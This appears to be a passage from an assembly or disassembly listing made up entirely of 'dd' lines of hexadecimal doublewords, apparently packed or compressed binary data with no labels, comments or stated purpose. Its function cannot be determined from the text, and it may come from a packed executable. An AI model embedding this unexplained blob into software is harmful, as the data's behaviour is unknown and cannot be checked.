		dd 0CDC1EA07h, 0EAFFF76Bh, 4133CB07h, 46454CE8h, 7AC547Dh
		dd 0E83E2DB3h, 4C5207B7h, 3452FA04h, 65504847h,	8D2D9907h
		dd 0A0574FE2h, 2940719h, 557A1490h, 719DC4Dh, 7C4E5835h
		dd 6A1CE177h, 16CB81B9h, 606D5C88h, 6B5178E7h, 2C965973h
		dd 9CB96060h, 61A2F0CEh, 0F06E6451h, 0EF1C62A2h, 0CE63210Ah
		dd 1C64A2F0h, 65210AEFh, 66A2F0CEh, 210AEF1Ch, 0A2F0CE67h
		dd 0AEF1C68h, 0F0CE6921h, 0A8676EA2h, 9C2FDE3Bh, 79046B3Eh
		dd 0E7676F6Ch, 87258BB7h, 64425B42h, 0D003AF2Dh, 5D983A21h
		dd 910A0D2Fh, 66629308h, 82D32088h, 95B7A38Dh, 14145E1Ah
		dd 667542C3h, 0E3726589h, 1A6C77AFh, 18E819h, 6E616843h
		dd 0A4C46567h, 0C4F06957h, 57734F77h, 0F8F828F6h, 32974458h
		dd 24F009F4h, 2E3A45E8h, 0F150975Ah, 2C3A5058h,	216418A7h
		dd 0F940213Fh, 25C80F24h, 0F25E437Eh, 2A901F26h, 0E4872DFCh
		dd 2F213F2Bh, 0C80F5CF9h
		dd 3F437E3Dh, 901F27F2h, 877EFC60h, 33F20E4h, 7475612Eh
		dd 212E8468h, 0F21F92Ch, 437E40C8h, 1F25F224h, 26FC5E90h
		dd 3F2AE487h, 2BF92D21h, 7E2FC80Fh, 3DF25C43h, 0FC3F901Fh
		dd 60E48727h, 0F97E213Fh, 2EC30F20h, 8876469h, 0F22C435Eh
		dd 40901F21h, 0E48724FCh, 5E213F25h, 0C80F26F9h, 2D437E2Ah
		dd 901F2BF2h, 875CFC2Fh, 213F3DE4h, 0F27F93Fh, 437E60C8h
		dd 1F20F27Eh, 61682E83h, 0A98B9D73h, 1843B094h,	901F24B2h
		dd 972EFC25h, 72751403h, 43602AA5h, 6C2EB118h, 0C84067C2h
		dd 24437618h, 881F25F2h, 437C782Eh, 1F24F221h, 3AFD2590h
		dd 0B8185D50h, 24E48721h, 0F025213Fh, 440E4320h, 0D079654Bh
		dd 4F054AACh, 23204E49h, 0C1011468h, 43494E09h,	185CA14Bh
		dd 21504F50h, 6FD05245h, 72652170h, 5C6F6ED0h, 0E6750A77h
		dd 43523B49h, 0B3474FB7h, 45A56F74h, 2A535518h,	1C022248h
		dd 69534150h, 61707018h, 9B06796Ah, 305303F9h, 4C062959h
		dd 30105218h, 6F21632Eh, 432ED06Dh, 0C04D4F23h,	2D746553h
		dd 9E6F4338h, 3A11696Bh, 1C013EB4h, 44655448h, 0F466868h
		dd 421EB8DDh, 4C6D674Fh, 66696E87h, 0DAC67919h,	7663BD40h
		dd 34C4B597h, 1487FA7h,	70737553h, 6FC96369h, 0FA090EA7h
		dd 9E3602D3h, 536D5AB8h, 0C662C70Ah, 2E5E112Dh,	7534049h
		dd 0CA1B46C7h, 409C1D15h, 49415357h, 742763F0h,	52AC476Ch
		dd 62964C35h, 482A9F84h, 0AEF6BCE4h, 10EB0260h,	33004B5Bh
		dd 25B966C9h, 1348001h,	0FAE2990Bh, 0CDE805EBh,	627001FFh
		dd 0FDC600F2h, 0FC3A938h, 9895D912h, 0EE3485E9h, 3917AF1h
		dd 0C09DF36Eh, 291F0271h, 0AA8D607Bh, 0EED40EABh, 5C6ECEAh
		dd 128F66CDh, 1B190871h, 9751860h, 0CD10C798h, 660D5CF1h
		dd 0C989CF19h, 5B0D903h, 41128D16h, 28E6F133h, 0A99BAB98h
		dd 55F04B9Dh, 0C88918F3h, 1C812ACAh, 0D3EC5900h, 0FDF4FAF1h
		dd 0FF100099h, 0CD751AA9h, 0BD00A514h, 32C08CF3h, 795F647Bh
		dd 618973DDh, 10A40A67h, 91D1E5C5h, 0C919D509h,	0D9CD2B14h
		dd 0F3028CC8h, 20660898h, 0CF37A9EFh, 68AF959Dh, 9D9119A8h
		dd 95068F85h, 0DC1243C8h, 0B1CD98A5h, 4C9A1EE1h, 0B9EB8ECBh
		dd 50AA6CC0h, 347DD8D0h, 42005C77h, 0A3892796h,	1F91ED4Fh
		dd 80945258h, 6872D943h, 0EC0E86A2h, 4F12C37Eh,	0FF44A7BDh
		dd 20D29563h, 0B0FD8512h, 0C732529Ch, 715A28C0h, 1702C0BBh
		dd 0EB7597D7h, 8F2A6700h, 579C4034h, 779E476h, 657452F9h
		dd 6C90B3A2h, 336075F8h, 0E0397EF8h, 8440495Fh,	7D224A5Ah
		dd 953C0A24h, 27C3FEA9h, 7CE09D40h, 9BEA5041h, 6A8740EDh
		dd 9AA1E7FCh, 8DD7F862h, 0CF74AA07h, 0A6D6C8CEh, 0F36B0219h
		dd 3F6AC097h, 0C6A09F8Eh, 0DC9D5E1Ah, 10707B30h, 0E45412C7h
		dd 5A9FA0DFh, 51787448h, 0A506C558h, 0A447FD80h, 9B9B7FEFh
		dd 7E99E31Eh, 90634812h, 975F1A0Fh, 0C9F34967h,	581E7C04h
		dd 0ACB941Ah, 65CE66CFh, 0F34106D5h, 0ED45269Ch, 2C477E49h
		dd 622C9BE6h, 9E5E2A75h, 0AA0E7A44h, 0D2DE1059h, 39CE7D08h
		dd 0D3669B6h, 0D466D6Ch, 7F90D461h, 0D8FDDD3Ah,	10C0383Eh
		dd 7B179D0Eh, 0A1CFA662h, 0D9A54006h, 0DF5EFF09h, 14CE02B5h
		dd 0FDCC43DEh, 0CF7D8715h, 13A5C95Eh, 902A77B5h, 797AC68Fh
		dd 8BDDEFCBh, 7D08E63Eh, 0D5354984h, 8CC86014h,	0C34B2462h
		dd 0A877CC49h, 76205124h, 0FCDE0067h, 0F6EBC9EDh, 0FD71D8FAh
		dd 0C4EAE9EDh, 0CC7DA99h, 129AEDF8h, 0F8D81D33h, 0FDF0E1DCh
		dd 29B13731h, 0BAF6D5AEh, 0FB7C7E0Ah, 0A4E0F9F7h, 28496430h
		dd 0F23DB16Dh, 86F254CDh, 0F0FB2486h, 0F57548F7h, 1F7AEA6Fh
		dd 7CFAF80Ch, 0B7EBA3E9h, 8CFDF6F7h, 0B8CB2017h, 13FF856Bh
		dd 0B2424D53h, 0AE183C54h, 0FFF086C8h, 3DB095FEh, 43005002h
		dd 54454E20h, 78524F57h, 0B3D3F74Bh, 4D41B947h,	3C5BCBE2h
		dd 4EBD4C30h, 0AF0B0668h, 47622FB2h, 633E3FD4h,	0BF676B08h
		dd 67075E3h, 312E331Eh,	4D615161h, 30583248h, 3367A5C7h
		dd 16BC2EDDh, 3220549Bh, 164A309Bh, 0A4A4949Ch,	2173438Ch
		dd 0C1107907h, 4870DF0Ch, 0A11041Ch, 9070E725h,	69801CD4h
		dd 71989A36h, 20504A53h, 88297FFh, 0A78FE070h, 4A255963h
		dd 6FE2616Eh, 736A0D3Eh, 30EA9577h, 30A4102h, 3582398Dh
		dd 3CB324B7h, 4FCA872Eh, 0AC5EDA71h, 222008C4h,	57421EDAh
		dd 3599FC8h, 0A7B01C14h, 4E27DC65h, 84052D0h, 0A11C06CEh
		dd 50E5FDA0h, 888A1520h, 2748E038h, 8124C84Fh, 7A6A0019h
		dd 1C49E4F2h, 3002AF28h, 67107425h, 0D9E29753h,	75E0485Ch
		dd 4546C8Dh, 0A25CE0A1h, 316DBE10h, 6213045Bh, 10896732h
		dd 37380436h, 309978CAh, 93F4939h, 0C6D14337h, 70013F14h
		dd 6464508Eh, 84187A2h,	0C0404DCh, 0DEC818F7h, 0C10EC1E3h
		dd 9F174C16h, 15020127h, 7401128Ch, 31A0529h, 6C8C2211h
		dd 0A861DAA5h, 29703828h, 9C452B63h, 0D6256C08h, 4F5F5049h
		dd 9CF63C8Dh, 29546E1Ch, 9B26B799h, 294659C9h, 93CC50B8h
		dd 382EE645h, 30B1B05h,	88724771h, 4E9B83Eh, 6809CCEh
		dd 1900286Ah, 0D0B10C39h, 0E0A89B11h, 0D94F0AC0h, 8060F52Eh
		dd 0EB8A885Dh, 1112C91Ch, 3D01E89Fh, 6048102Bh,	0C15D24Eh
		dd 60F8A4F4h, 0CA02184h, 0A4284273h, 0BD50B18Fh, 0CA018C2h
		dd 4188518Ch, 0EC9A096Ah, 88C81ECh, 40149512h, 707C5031h
		dd 8E011096h, 0B9084664h, 7E1489A3h, 1385781Ch,	0A65BAB02h
		dd 100E90E9h, 101491F8h, 42FFEC2Fh, 240E26FEh, 0D6339B69h
		dd 91087003h, 0D8083483h, 0EEF8B944h, 25B7056Dh, 9642FA1h
		dd 30200Ch, 8C8C0DADh, 0F02C408h, 84809BD8h, 70080118h
		dd 170F8442h, 80282835h, 803CD495h, 238402BCh, 6C1E0F84h
		dd 9012323h, 7015A89Ah,	14894673h, 9D0101FDh, 0B816C2ADh
		dd 50581CC9h, 6F728120h, 0C7736566h, 61A76FE7h,	5B03DC6Ch
		dd 76F87579h, 73726519h, 9EFF5D1Ch, 2E34CF0Ch, 8BF778AFh
		dd 9E46374Bh, 32423C1Ah, 78BD3D6Bh, 70F07479h, 0FC642E3Dh
		dd 123C0185h, 0B027515h, 76644107h, 0F8638461h,	6253367Fh
		dd 0D78DE69h, 96C3450h,	873C0B01h, 10A751Ch, 2CCEA7F5h
		dd 68636505h, 65F0206Fh, 0ADF3B66Eh, 1F3EE307h,	26710ADFh
		dd 73758F16h, 116F7248h, 2F17299Fh, 133CA9C2h, 692B75F0h
		dd 661E1174h, 2DDB709Eh, 3A73999Ch, 67460E44h, 0B90406EBh
		dd 1EEE3859h, 63706982h, 66010E52h, 71CEC81h, 4876E4FFh
		dd 0D08D7FC8h, 48620416h, 0A049229Dh, 14C0C9ADh, 7A48B36Eh
		dd 0E81DF065h, 0D0E544A0h, 44443FDh, 0F4063124h, 243258h
		dd 45CCFD58h, 70B04964h, 74AEDD00h, 60D2962Ch, 1C0D575Eh
		dd 0F197034h, 64167C4Ch, 804C0319h, 2A88F196h, 111CCE4Dh
		dd 20016AA6h, 0F4726EAFh, 157F4372h, 34425241h,	0ADF00D81h
		dd 0A80840BAh, 60E00BF4h, 4000341h, 584F454Dh, 0A28A2857h
		dd 338F8BCh, 30C6CCA5h,	18285329h, 0D040AD4Ch, 0C803CECCh
		dd 18904414h, 0AC47D825h, 0C82F0712h, 0CD28C40Eh, 8296406h
		dd 0B9204CE1h, 0AB9574ADh, 3EA5B210h, 0A4C8A647h, 231FADF9h
		dd 1974E8AAh, 12580960h, 11905B90h, 0DC782920h,	0D848C829h
		dd 4F4150E4h, 722088B6h, 1A570ADh, 48608CD6h, 66C90448h
		dd 209EE02h, 104BA4B6h,	6C5C3C9Eh, 340C1985h, 71C8AB4h
		dd 9398D870h, 11D24F20h
		dd 0BE3D0DA9h, 2C21B257h, 245847C0h, 1C7AE880h,	43181C01h
		dd 60142114h, 0A2F8D404h, 3B433EC0h, 81E09CA4h,	317C501h
		dd 4AE90E80h, 8A2C002Ah, 857A6F50h, 0A4E40256h,	9130E83Ch
		dd 8EC6A560h, 0DDAD810h, 0C2F20B0h, 3C641597h, 93587154h
		dd 80F46E28h, 48352EC9h, 0E256891h, 8B07538Fh, 54900A0Bh
		dd 0C9082052h, 0F1E84C5Ch, 0D293E23Ch, 51F43208h, 50833416h
		dd 2184636h, 88D12EF2h,	0B2786315h, 2D989920h, 2A50880Ch
		dd 0F8AE02CCh, 188C2837h, 84003E8Bh, 554E70D4h,	0C1E0842h
		dd 68480446h, 0FDE0CC81h, 0A04447Fh, 75019034h,	759F80D3h
		dd 519DE018h, 604EF313h, 72462D5Ah, 69701C44h, 7679659Eh
		dd 0E7616D3Ch, 71097210h, 49D75FA8h, 0E9DFA05Bh, 4A539859h
		dd 3396CE1Ah, 4A3E0531h, 9F93CA27h, 3D92CF25h, 62918F4Bh
		dd 8365641Bh, 28462FF8h, 971A5106h, 53740439h, 87436923h
		dd 902F624Ah, 1029242h,	10FF820h, 2008B0C2h, 694CBCF0h
		dd 3762946Dh, 53D23713h, 88325AE4h, 0FE1E450h, 2E3294Ah
		dd 44008108h, 754B4320h, 0A7455146h, 0F50D79DFh, 0EA134702h
		dd 83029441h, 21C46F2h,	548B02E6h, 83FE42F3h, 49484705h
		dd 9E004B4Ah, 51504F4Eh, 54530052h, 58575655h, 61125A59h
		dd 76006362h, 69686766h, 6C6B096Ah, 0D3046E6Dh,	746FC071h
		dd 77057675h, 307A7978h, 3433C300h, 8373635h, 2F2B3938h
		dd 97605346h, 29B1788h,	0EDE8E689h, 6836DB90h, 0D612090Fh
		dd 19F78C63h, 8463C89h,	114A228h, 6B680476h, 0F5CA2BD0h
		dd 0C1553E2h, 0FA383FC2h, 0FB249097h, 3107472Fh, 0FC10C7DBh
		dd 0D003FF99h, 8B56C389h, 0C762E776h, 0F31080B9h, 33315EA4h
		dd 530250C0h, 56FF0606h, 0C89E8B0Ch, 5F07C4D4h,	0E0E05B5Eh
		dd 0C023E860h, 24448B71h, 58018D0Ch, 3C43837Ch,	28D18105h
		dd 65774872h, 0C0F00E63h, 24048BAFh, 14C4830Ch,	0E6C37C50h
		dd 73647FD2h, 22893232h, 1B64B8C6h, 0B13EC9FEh,	0F3DF8002h
		dd 430374AFh, 7EE4EDEBh, 8F643F10h, 0C3615882h,	2364BF60h
		dd 0C71F8B31h, 0C8DF0789h, 4DC781F8h, 77B3E78h,	741939F9h
		dd 0EB09F104h, 0E9FAE9F8h, 5DBE75Ah, 0C7F752DBh, 0E711C7F6h
		dd 43C6C04Ah, 6EC501FDh, 36070CA1h, 58361C40h, 0A31E786Eh
		dd 370ED68Eh, 0F19A0446h, 0F828246Ch, 54FE3C45h, 0EA8C0567h
		dd 0E1184AD3h, 0EBE0205Ah, 49383DE3h, 14F834BEh, 95FF31EEh
		dd 40ACFC1Fh, 0C10774E0h, 0C7FE0DCFh, 3BF4EB07h, 7513247Ch
		dd 814876E1h, 4B0CD866h, 201C12C8h, 0E854C5BFh,	0C7DD1E89h
		dd 0F08C261h, 130C9D6h,	41F254FAh, 3DE8FCD8h, 7C5D40D5h
		dd 4FE5EF89h, 2E115F02h, 991DC01Ch, 0B73284ACh,	40C204CAh
		dd 75042454h, 5B44D1E3h, 413A619Eh, 0CC5C89F8h,	645AC332h
		dd 8530B2A0h, 0F6A78ECh, 70075D0Eh, 68E0AD1Ch, 0A30BE908h
		dd 534F85Fh, 6808A07Ch,	315F013Ch, 0EB5660F6h, 0CEEFE40Dh
		dd 98FC7290h, 0E8AFE00h, 0E8E7FF57h, 0B249DEEh,	8E40BD23h
		dd 672B2E06h, 2120501h,	0C4205EA0h, 3740F6A1h, 84080343h
		dd 379006EBh, 1CA5A608h, 8E59652Fh, 6D6302B1h, 0E2FA2071h
		dd 0D633CDA1h, 2F58452Ch, 616D933Eh, 2EAEC719h,	557078C4h
		dd 68F1805Fh, 274E4CB3h, 0C2E13E73h, 99B420B5h,	0F9A45FF8h
		dd 943BBD75h, 0EF75F9D6h, 8269A473h, 608F12ACh,	3A4952E5h
		dd 3D024556h, 4C51537Bh, 7D0FBD53h, 0C229A3Bh, 0DF2C5614h
		dd 495546D4h, 50EE1544h, 0EA075755h, 611750E4h,	9B1F6D64h
		dd 79BD0829h, 0CE22DF94h, 58104EE1h, 9C1046B8h,	0F311CDE1h
		dd 874F7F7h, 20617389h,	0C933FAFDh, 0B93549B2h,	0C100744Ch
		dd 0C7830138h, 1F0E8A1Ah, 8088DA32h, 0DEF7E247h, 5C4F0016h
		dd 6C593037h, 0A90028CDh, 79E4B9EBh, 1C36E145h,	401512C5h
		dd 66623D05h, 6736A07h,	79711B1Ch, 30DE3440h, 0C0CACCDDh
		dd 0D8B66802h, 5075F1Fh, 34BE516Ch, 0A8397523h,	0F2982945h
		dd 0B83D0F4Dh, 2EE3096Ah, 6EF3CE34h, 7E3D0BDEh,	1FCC3F29h
		dd 0CFDD1166h, 2467640Ch, 0FC048015h, 0F53D71B0h, 6401B1ACh
		dd 0F7F099CBh, 0B1D73EE4h, 3AC24080h, 0B8307083h, 310F7174h
		dd 0AE250C53h, 0A004AED4h, 636B6D6Fh, 1E671F65h, 3A74807Bh
		dd 0BE7F3982h, 34BD310Ch, 37846CDh, 0B871BC30h,	0E18CBEDh
		dd 310A8B40h, 17144041h, 2D0268FEh, 0BCE5CA66h,	6DC460F2h
		dd 0B584CEBDh, 243F4266h, 5E054177h, 4DDC2113h,	0FBBC9C40h
		dd 0C766EE04h, 2C736303h, 6001A24Ah, 5BC536Dh, 62DD255Fh
		dd 7BE1D0F3h, 0F90DC763h, 32B0C866h, 67BD70B8h,	0DFD11065h
		dd 40DD0AD9h, 0A1393085h, 1B5D6607h, 0A12E4D50h, 51585669h
		dd 0CEE704F0h, 62CDF93Eh, 0CB8E8102h, 67C734F3h, 4D1E14EFh
		dd 841B3265h, 9C0D243Dh, 0C367FBCBh, 37D9759Fh,	0ED577E0h
		dd 87A6906h, 0D3983271h, 0CF0475Bh, 65793C62h, 0C436827h
		dd 3072E3BFh, 4DF748Ah,	0A4C22EBEh, 0D7D44251h,	32341410h
		dd 43203501h, 74276E61h, 643D7036h, 63E9FBF9h, 9DAFCFEFh
		dd 4B0E5276h, 0AF18242Eh, 4A21303Dh, 2524DF6Eh,	0B71DD046h
		dd 0CAB7F464h, 7E844B0Ch, 0EB70486Ch, 0F14A8F49h, 86D42E32h
		dd 51636EE0h, 1D0C7675h, 0ED6DFE72h, 644CFFh, 2A6FA548h
		dd 0FA12496h, 54EB36A8h, 7313197Eh, 0FB6376F8h,	0A26C706Dh
		dd 2531F742h, 0BDF23035h, 423C6E50h, 414E4906h,	816C5952h
		dd 0A54A65CEh, 52C3A490h, 0A9D5445h, 7E23208h, 0EF4F5020h
		dd 0C66B48B4h, 730F467Eh, 89E75E75h, 21CDF6D3h,	0A313ACCDh
		dd 78183303h, 2A140444h, 5B0E66B2h, 555D2C5Eh, 0F90AAC06h
		dd 15588EC2h, 9384A9B0h, 8B53494Ch, 9502D54h, 0A53BE269h
		dd 83497402h, 0EA121370h, 0FDFF9364h, 23FCF616h, 7CD0664Ch
		dd 5678E04Bh, 5404B8A5h, 4A897079h, 0AB49494Ch,	182BA5AEh
		dd 10E94122h, 54505954h, 0E353845h, 2F222037h, 0EAAB345Dh
		dd 87649F1Ch, 0ECD6447h, 796EC9F2h, 0B435F149h,	482433C1h
		dd 0B7049052h, 0FDBA45E2h, 59533099h, 0FE6544CCh, 6B63E902h
		dd 64D84146h, 59531941h, 0CB33184Ch, 6C925568h,	35178E7Dh
		dd 0C6926BAh, 0C2B8B0E8h, 31A93338h, 0D0779BE4h, 2DE03A6Bh
		dd 41040A6Dh, 326057BFh, 28E62080h, 5D302CA1h, 77D9E760h
		dd 6A2E9D6Eh, 722649A8h, 68F05862h, 0FC43D674h,	5068FDCAh
		dd 0AD86ED92h, 322EC761h, 4634749h, 4DBF24BCh, 0F6B32F24h
		dd 4F353D44h, 0D5993E4Bh, 796D6284h, 1E8F8642h,	7F7B434Dh
		dd 8D902D76h, 6CC090F9h, 63F1F377h, 242C1243h, 0B4387313h
		dd 78398312h, 0CF63AD7h, 7058303Dh, 1E12B4FFh, 7CA02529h
		dd 0FC67AB38h, 942F9689h, 4C1228F9h, 0C670AC9h,	816929DFh
		dd 70763441h, 615226C4h, 26697A14h, 9F44838Dh, 0D5FB4455h
		dd 47030034h, 22C9544Dh, 2D06614Ch, 69D560E6h, 0D244E566h
		dd 24451A3Ch, 0BE537078h, 43C914D3h, 2EDDF496h,	731599E4h
		dd 0F004688Eh, 0DFDCC8F5h, 0C8EC3F6Eh, 0C3B6FE39h, 0A3026446h
		dd 6E0873FFh, 79E8024Dh, 0D76445B8h, 0AA69516Ch, 9E2F3803h
		dd 0AB65797Eh, 61B617D3h, 61B8896Dh, 312FFD7Bh,	0C26CF159h
		dd 46716C65h, 624C5E33h, 99283793h, 0D56BD8A4h,	9BCF1B75h
		dd 8CF6EC5Eh, 294C2EB4h, 0FFCF3C57h, 0C2296653h, 0C97B1109h
		dd 0D1C96B1Bh, 4699066h, 83030B3h, 6F460B5Ch, 236E5075h
		dd 4A589469h, 4CC32C1Ch
		dd 0D4B3441Bh, 94BE76BDh, 0EFC33CC5h, 0C146B3Eh, 4C4FA160h
		dd 7965358h, 33223D4Eh,	483C3E21h, 2F342CBAh, 0E91B1D2Ah
		dd 410E3022h, 45554C42h, 444FE00Ah, 20095955h, 4C794D31h
		dd 504E48A4h, 5349FC1Fh, 3A871147h, 87157C56h, 98C63E7Bh
		dd 0B02D2565h, 3028DBF9h, 0F5F32BBh, 0FE58D3A1h, 324DAA29h
		dd 5795237Ah, 48C5D749h, 45EA9310h, 0CAA10794h,	3C923680h
		dd 2517098Ah, 4C1FD7ACh, 64C34715h, 518467CAh, 6B643371h
		dd 0D346345Bh, 6754A570h, 291CDE41h, 0C12E4518h, 602673BDh
		dd 1FAD3B8Bh, 0C868EC23h, 0A73DCFBh, 0E61C5084h, 56D887DEh
		dd 0E4D62D53h, 5673C03Ch, 0D8D0BA2Fh, 0D3932E1h, 44481F1Ah
		dd 0DA14A6DEh, 417EA734h, 45351598h, 6E1A46h, 2A6ABC53h
		dd 32EC6E24h, 2F5364CAh, 38343D06h, 3A0BD420h, 737006ABh
		dd 914D4136h, 2EC2FF09h, 46886BB3h, 0BD646875h,	96615050h
		dd 0A4504F9Dh, 94AC33Dh, 58BF1A96h, 674A1D72h, 7399F7D5h
		dd 0C2ADF023h, 6F68084Dh, 1A094E97h, 21B13D65h,	44BBAC27h
		dd 0E15A2920h, 7AE953B3h, 0A4E42665h, 2B31B20Fh, 0B590B49h
		dd 4418129Ah, 5520D13Dh, 208BA54Ch, 6852A106h, 309C9CE7h
		dd 3C592DAAh, 4510D8A8h, 727BA441h, 3F4CD149h, 0DE9B27A6h
		dd 0E62625A3h, 0A7F03EE9h, 7E9A4B54h, 9393E53h,	0E365520Ah
		dd 1D5FA5D0h, 8A6F480Eh, 97AE0974h, 0B50A6754h,	6B040205h
		dd 6D78CDE1h, 2C2DAA1Ch, 50680D95h, 514E7471h, 6654D2D3h
		dd 84D1ACE6h, 0A4F55B56h, 549879A2h, 8B4E2101h,	502A24CCh
		dd 55A26429h, 945654A1h, 54D9524Ch, 4EBF661Fh, 0F2281933h
		dd 6515D86Fh, 8376E362h, 207D7506h, 6E616305h, 502A2921h
		dd 0BF90F893h, 0AD00254Bh, 9881D699h, 4A6F3331h, 0E80A4430h
		dd 87615C01h, 4033CB09h, 350693Fh, 298C343Ch, 106ADCEBh
		dd 31F801BDh, 35323011h, 3C430A90h, 0E0401A1h, 6D518496h
		dd 84780F0Ah, 4392F84h,	91DAF804h, 900A43ABh, 428BF83Ch
		dd 2350F53Ch, 2C6AE50Ah, 39B23C43h, 1850A9Ch, 3C2B8BC5h
		dd 732B504Ch, 230AA1E7h, 2DDDD0F0h, 6314685h, 0F40A24D0h
		dd 3C113C3Eh, 106DE33Eh, 0D06C71D6h, 12EA40Ah, 0F960992Dh
		dd 3CAD4F08h, 6E39A720h, 626D9631h, 3D78301Ah, 233C22B3h
		dd 0C1C95168h, 0D9246CFEh, 5D528174h, 8B010B0Ah, 2655582Ah
		dd 0F21C52FCh, 6CEA7809h, 1850A1Ch, 290950C6h, 0DAB44907h
		dd 2CAD0A1Eh, 15490742h, 0FAA3E621h, 8FD4E06Ah,	4536233Ch
		dd 6B4B2901h, 5C20B978h, 10516254h, 135F1869h, 68B5A667h
		dd 2C17110Fh, 954A702Ah, 62388949h, 7078A123h, 0D3A6FF5h
		dd 0D69253F0h, 343D6E74h, 382B7C63h, 722753CDh,	0E4947750h
		dd 0DF107617h, 4325AE34h, 0DB95686Ch, 5CB52DF8h, 4B0F666Bh
		dd 0A904B82Ch, 0E696481Fh, 0E16C2A59h, 6F151997h, 0DD85BADAh
		dd 0F22C7D04h, 1212D05Bh, 9CCA2E5Ch, 0D1962EA4h, 921DE944h
		dd 0DF6E83A5h, 53345049h, 0B3C06BB9h, 521425F7h, 7F561FC2h
		dd 40940D20h, 0DC30297Fh, 9E15488Ah, 0AC38757Bh, 740C9103h
		dd 2C557FACh, 7CC02359h, 2E45F496h, 0BB943C3Ah,	0F28735D2h
		dd 7523D81Fh, 8F2D4A62h, 0B850422Fh, 69A59F46h,	10E95368h
		dd 12995803h, 2ED4EA66h, 6974F069h, 22751675h, 71666FF9h
		dd 453F2477h, 0F45C8B2Eh, 42EF1BA8h, 0F40BB950h, 459C0BEDh
		dd 0EFE7DBFDh, 0E37BC7B6h, 176C7263h, 9F734C58h, 0E83EC632h
		dd 23A3C6D3h, 63F3E847h, 42E79A4Dh, 500EBDE8h, 494043CAh
		dd 0D46BA9D9h, 0DAF74A2Ch, 8D561856h, 6114D2A8h, 0D1DEAC85h
		dd 1AFDAABEh, 9D5D4F58h, 0A65DC82Ch, 0E4975288h, 0AF5C4421h
		dd 0FC4C4895h, 15DA91ADh, 6815EBE8h, 24A950A1h,	0C8DCB474h
		dd 9E3A72E7h, 9A770B09h, 786F5FF6h, 2D5754C8h, 3FDB8792h
		dd 5C5450A3h, 57583C41h, 0D94E6E3Ah, 927F6D67h,	8DDE17FAh
		dd 92496F1Ah, 89E0D969h, 0E34E3D21h, 8089E396h,	191F5670h
		dd 4500968h, 80A83CFAh,	1C212866h, 180C5609h, 0C8FECC4h
		dd 8AD409E8h, 0B047181Ch, 31EEA423h, 64477822h,	409150C8h
		dd 0E0E22423h, 0CC90B18Eh, 2441CE2h, 9421CCA0h,	18AD7409h
		dd 0C8304094h, 8DF4F828h, 0DC7818A4h, 0C8C4118Fh, 1070F9ACh
		dd 0E0438FBCh, 28918F60h, 0C8F814C8h, 0A8788C8Ch, 0C858118Fh
		dd 8BF0F82Ch, 8FDC788Ch, 94C8A411h, 181C44F9h, 8AD8888Fh
		dd 0C4239ECEh, 3E6C728Ch, 1C233047h, 3189D4E2h,	473CE2B4h
		dd 0E2302360h, 0B43188E0h, 74443CE2h, 4C09CA6Ch, 4C08D918h
		dd 8747EC30h, 2287A085h, 473E7C18h, 0E43C2348h,	86FC7108h
		dd 86C8111Eh, 88E4239Dh, 473E7C72h, 0E22C2340h,	0DC3185F0h
		dd 0AC453CE2h, 0F1732822h, 9518411Fh, 0B2184409h, 1F083928h
		dd 8F84E811h, 0ACE211C4h, 221FA839h, 97C658Ch, 40186C74h
		dd 24123C89h, 83E8203Eh, 0B409DC64h, 9091A448h,	896C1840h
		dd 244C1260h, 0F934483Ch, 3EC21D08h, 1A82D023h,	38FB10C8h
		dd 2D605552h, 11CF3D33h, 5380124Eh, 9E6E6977h, 0D44EBEC1h
		dd 2F3FB85Dh, 0FF6C4348h, 0CBC3EA89h, 7655FA90h, 61203307h
		dd 4C296B99h, 478D3238h, 8D546953h, 6B397715h, 69BC696Bh
		dd 34297695h, 6E0E3121h, 64634377h, 2E1A376Bh, 44142E6Eh
		dd 4C288BBDh, 6FEB26Fh,	0F6925320h, 65F2C377h, 2228425Ch
		dd 4E760857h, 3596F2E5h, 0E16D2481h, 4C76F76Bh,	737BACDEh
		dd 707233F2h, 28376237h, 3E736143h, 0ED736D58h,	0DF32809Bh
		dd 646C910Dh, 9812C969h, 28117046h, 71D56E75h, 0FA2DFC49h
		dd 74EEFB44h, 0FA489F25h, 646469A7h, 8F6E4925h,	50549F5Bh
		dd 7C682981h, 0B1F54145h, 0ABAF5FCAh, 79BE4874h, 0B08CF7A3h
		dd 32D62609h, 0D472BAE4h, 3228133Ch, 148C8A18h,	0D2496558h
		dd 20560A75h, 6B9EB312h, 389F5CEAh, 1868430Ch, 0D7654F6Dh
		dd 7A408BB0h, 62F8754Eh, 0B22012D5h, 89065754h,	6479686Ch
		dd 5CA82AACh, 20A5584Fh, 73DB571Ch, 8340F6C7h, 99A15F16h
		dd 180406B3h, 754F71F2h, 58528D92h, 0C64151C3h,	7441FB2Ch
		dd 21D13C0Ah, 46447AA4h, 3C3AF440h, 6269540Ah, 0BF104ADFh
		dd 0EC4AE1F4h, 68E44842h, 0FFF35229h, 756362D2h, 577B1A51h
		dd 201A2F8Dh, 316E1F41h, 84ACFB89h, 73C29ABh, 0B250D97Bh
		dd 454C6D76h, 69B79E38h, 309EACB9h, 45560341h, 4948534Eh
		dd 23444CA9h, 86612D34h, 0ED8772FAh, 0A0F5572Ah, 80A733E5h
		dd 0E36C4589h, 8EE9C72Eh, 66C6D4BAh, 0ED207384h, 2D93A6ADh
		dd 37372AD5h, 0B49FC85Ch, 37CEAD50h, 48A170CEh,	0B965D4Ch
		dd 8D5EA648h, 0B940238Eh, 16CEF9C3h, 29494639h,	40488141h
		dd 0A32FA355h, 39112341h, 0CEE940D3h, 6FD7A114h, 3AF441E2h
		dd 6BC7372Fh, 57412AFh,	1A69957Ah, 7669CD45h, 0E3584636h
		dd 0B34DCB47h, 4624CD53h, 2DE94529h, 7046465Eh,	58796B58h
		dd 9191EA64h, 0A33A1564h, 1AB54E0Ah, 566810A1h,	3D213E8Dh
		dd 0B07460C8h, 1F839740h, 73F37550h, 84CE699Ah,	6C2178A5h
		dd 9A4A8DFEh, 0EB2B264Dh, 6E30B62Ch, 86A6B1B6h,	4D69373Fh
		dd 61137377h, 3A74D975h, 65BC3546h, 2B640868h, 0A44ED16Ch
		dd 4C0A4D6Dh, 7C47E547h, 57242E1h, 1854E4ACh, 95C2EB67h
		dd 501C7A80h, 842368A5h, 0E9743FF2h, 474C2096h,	4E623445h
		dd 240899BAh, 0D0A57348h, 8E363EDAh, 0D128B950h, 53F6D747h
		dd 0ED5C6C52h, 53082D0Dh
		dd 958FBD4Ah, 6F220D72h, 3756309Fh, 74323A4Eh, 21A75666h
		dd 3E8D5E4Ch, 5C483D21h, 0F2F6AC48h, 105A6428h,	823D946Fh
